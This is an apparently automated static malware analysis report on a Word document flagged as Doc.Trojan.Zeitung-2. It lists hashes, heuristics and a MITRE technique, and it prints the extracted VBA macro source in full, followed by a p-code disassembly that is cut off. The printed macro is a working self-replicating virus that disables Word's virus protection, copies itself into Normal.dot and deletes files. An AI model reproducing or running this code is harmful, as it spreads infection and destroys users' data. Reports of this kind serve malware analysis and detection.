Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f54031ce1b90817…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-07-06 08:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9a956d0ecd9fcec207f3a73d2dd19ce5 SHA-1: 959a9a316809a32dae8bcad5528c5f5eb9fca9ba SHA-256: 8f54031ce1b90817ad505d49da74c79864a44a691ebe8ea611f412969f0d0708
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature 'Doc.Trojan.Zeitung-2'. Static analysis revealed VBA macros within the document. The macro code attempts to copy itself into the Normal.dot template, suggesting an effort to achieve persistence or spread to other documents. The signature 'VirusZeitung' is present in the macro code.

Heuristics 2

  • ClamAV: Doc.Trojan.Zeitung-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Zeitung-2
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7077 bytes
SHA-256: 47dadfbc7aeff6d0dcd43df19e39c5c833ee461d91ef7c2327d8f73ebdd6a6ac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const Signature = "VirusZeitung"
'čó îäíĐěěÄŕîű ë ĺňčŕč ŕĺű"äęéîîüâđńńçŕ îŕî čâěäíéđçöčăçň Ŕńč ă"
'61
'awedft
Dim sd, reg As Boolean
Private Function Kontaminat(O)
 If Not O.codemodule.Find(Signature, 1, 1, 100, 100) Then
  Kontaminat = 0
 Else
  If O.codemodule.countoflines < 50 Then
   Kontaminat = 0
  Else
   Ant$ = Trim(O.codemodule.lines(3, 1))
   Ant$ = Trim(Mid(Ant$, 2, Len(Ant$) - 1))
   If Val(Ant$) < 65535 Then
    Kontaminat = Val(Ant$)
   Else
    Kontaminat = -1
   End If
  End If
 End If
End Function
Private Sub Document_Close()
 Dim ad, nt As Object
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
 Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
 On Error Resume Next
 Options.VirusProtection = False
 If (Kontaminat(ad) < Kontaminat(nt)) And ((ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate)) And (Mid(ActiveDocument.ActiveWindow.Caption, 1, 8) <> "Äîęóěĺíň") Then
  sd = ActiveDocument.Saved
  cofl = ad.codemodule.countoflines
  ad.codemodule.deletelines 1, cofl
  For v = 1 To nt.codemodule.countoflines
   If Trim(nt.codemodule.lines(v, 1)) <> "" Then
    ad.codemodule.insertlines v, nt.codemodule.lines(v, 1)
   End If
  Next v
  If sd = True Then ActiveDocument.Save
 End If
 If Kontaminat(ad) > Kontaminat(nt) Then
  sd = NormalTemplate.Saved
  cofl = nt.codemodule.countoflines
  nt.codemodule.deletelines 1, cofl
  For v = 1 To ad.codemodule.countoflines
   If Trim(ad.codemodule.lines(v, 1)) <> "" Then
    nt.codemodule.insertlines v, ad.codemodule.lines(v, 1)
   End If
  Next v
  If sd = True Then NormalTemplate.Save
 End If
 Set nt = Nothing
 Set ad = Nothing
 Kill "Ŕäńęčé*.rtf"
End Sub

' Processing file: /opt/analyzer/scan_staging/f857520765b34464a16f24695072a7fe.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3862 bytes
' Line #0:
' 	Dim (Const) 
' 	LitStr 0x000C "VirusZeitung"
' 	VarDefn Signature
' Line #1:
' 	QuoteRem 0x0000 0x003F "čó îäíĐěěÄŕîű ë ĺňčŕč ŕĺű"äęéîîüâđńńçŕ îŕî čâěäíéđçöčăçň Ŕńč ă""
' Line #2:
' 	QuoteRem 0x0000 0x0002 "61"
' Line #3:
' 	QuoteRem 0x0000 0x0006 "awedft"
' Line #4:
' 	Dim 
' 	VarDefn sd
' 	VarDefn reg (As Boolean)
' Line #5:
' 	FuncDefn (Private Function Kontaminat(O, id_FFFE As Variant))
' Line #6:
' 	Ld Signature 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0064 
' 	LitDI2 0x0064 
' 	Ld O 
' 	MemLd codemodule 
' 	ArgsMemLd Find 0x0005 
' 	Not 
' 	IfBlock 
' Line #7:
' 	LitDI2 0x0000 
' 	St Kontaminat 
' Line #8:
' 	ElseBlock 
' Line #9:
' 	Ld O 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	LitDI2 0x0032 
' 	Lt 
' 	IfBlock 
' Line #10:
' 	LitDI2 0x0000 
' 	St Kontaminat 
' Line #11:
' 	ElseBlock 
' Line #12:
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld O 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	ArgsLd Trim 0x0001 
' 	St Ant$ 
' Line #13:
' 	Ld Ant$ 
' 	LitDI2 0x0002 
' 	Ld Ant$ 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd Mid$ 0x0003 
' 	ArgsLd Trim 0x0001 
' 	St Ant$ 
' Line #14:
' 	Ld Ant$ 
' 	ArgsLd Val 0x0001 
' 	LitDI4 0xFFFF 0x0000 
' 	Lt 
' 	IfBlock 
' Line #15:
' 	Ld Ant$ 
' 	ArgsLd Val 0x0001 
' 	St Kontaminat 
' Line #16:
' 	ElseBlock 
' Line #17:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Kontaminat 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	EndFunc 
' Line #22:
' 	FuncDefn (Private Sub Document_Close())
' Line #23:
' 	Dim 
' 	VarDefn ad
' 	VarDefn nt (As Object)
' Line #24:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #25:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ad 
' Line #26:
' 	OnEr
... (truncated)